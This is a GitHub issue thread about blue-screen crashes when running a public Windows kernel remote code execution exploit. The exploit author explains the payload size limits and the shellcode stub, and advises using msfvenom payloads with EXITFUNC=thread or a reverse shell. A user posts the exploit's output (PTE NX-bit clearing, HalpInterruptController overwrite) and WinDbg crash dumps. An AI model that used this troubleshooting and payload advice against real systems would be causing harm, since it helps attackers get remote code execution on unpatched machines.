bluescreen was trigged #11
Comments
I have problem at start! |
|
Did you check if firewall turn off? |
Did you check if firewall turn off? |
|
It's hard to see what caused the crash. can you post the full callstack, run bt (with symbols loaded) |
Sometimes BSOD appears. |
Hello! Please do not modify USER_SHELLCODE_SIZE in kernel shellcode. The user shellcode consists of a stub found in kernelshellcode.asm plus the payload specified in USER_PAYLOAD. The exploit is configured to work with all payloads under 600 bytes and you do not need to modify anything except USER_PAYLOAD in exploit.py I tested your USER_PAYLOAD you attached and it does indeed execute. I did not debug your shellcode, but my suspicion is that it causes the process to exit once it is done creating the new process . This is not really a problem with the exploit but with the payload. To see this for yourself, open ProcessMonitor (download here: https://docs.microsoft.com/en-us/sysinternals/downloads/procmon). Once ProcessMonitor is open, run the exploit. Then, click "View Process Tree" . You will see something like this: Above you can see the process calc.exe was spawned by spoolsv.exe and exited. You will not see a calc.exe window pop up due to the process being in session 0, so you must confirm how I described above. In my experience most payloads created by msfvenom will call ExitProcess once done executing by default and I think that is what is happening here. If you generate the payload with the parameter -EXITFUNC=thread, the spoolsv process stays alive. The calc.exe process still exits immediately. I'm not really sure why, but again this is beyond the scope of the exploit. My recommendation is to use a reverse shell generated msfvenom if you want to easily demo the exploit. Thnx |
hello, chompie1337. Could you teach me detail about find_low_stub function in exploit.py? |
|
hello! |
Hello, it's used as a signature to use the lowstub. See here: https://github.com/ufrisk/MemProcFS/blob/master/vmm/vmmwininit.c#L560 |
hello!
i tested on windows 10 1903 vm, it works as follow result.
[+] found low stub at phys addr 11000!
[+] PML4 at 1aa000
[+] base of HAL heap at fffff788c0000000
[+] found PML4 self-ref entry 1e7
[+] found HalpInterruptController at fffff788c0000680
[+] found HalpApicRequestInterrupt at fffff80035eb3bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff3fbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000950!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...
but bluescreen was trigged.i
i debuged by using windbg.
hal!HalpApicRequestInterrupt+0xa4:
fffff800`35eb3c54 4584e4 test r12b,r12b
3: kd> t
KDTARGET: Refreshing KD connection
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
For analysis of this file, run !analyze -v
nt!DbgBreakPointWithStatus:
fffff800`355c4580 cc int 3
0: kd> !analyze -v
The debuggee is ready to run
WARNING: This break is not a step/trace completion.
The last command has been cleared to prevent
accidental continuation of this unrelated event.
Check the event, location and thread before resuming.
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
0: kd> r
rax=0000000000000000 rbx=0000000000000003 rcx=0000000000000003
rdx=0000000000000000 rsi=0000000000000000 rdi=fffff80031a5b180
rip=fffff800355c4580 rsp=fffff800386813b8 rbp=fffff80038681520
r8=0000000000000000 r9=0000000000000000 r10=000001539738d27d
r11=fffff80038681370 r12=0000000000000003 r13=00000000004f4454
r14=0000000000000000 r15=ffffbf0ce8ca8040
iopl=0 nv up di ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000086
nt!DbgBreakPointWithStatus:
The text was updated successfully, but these errors were encountered: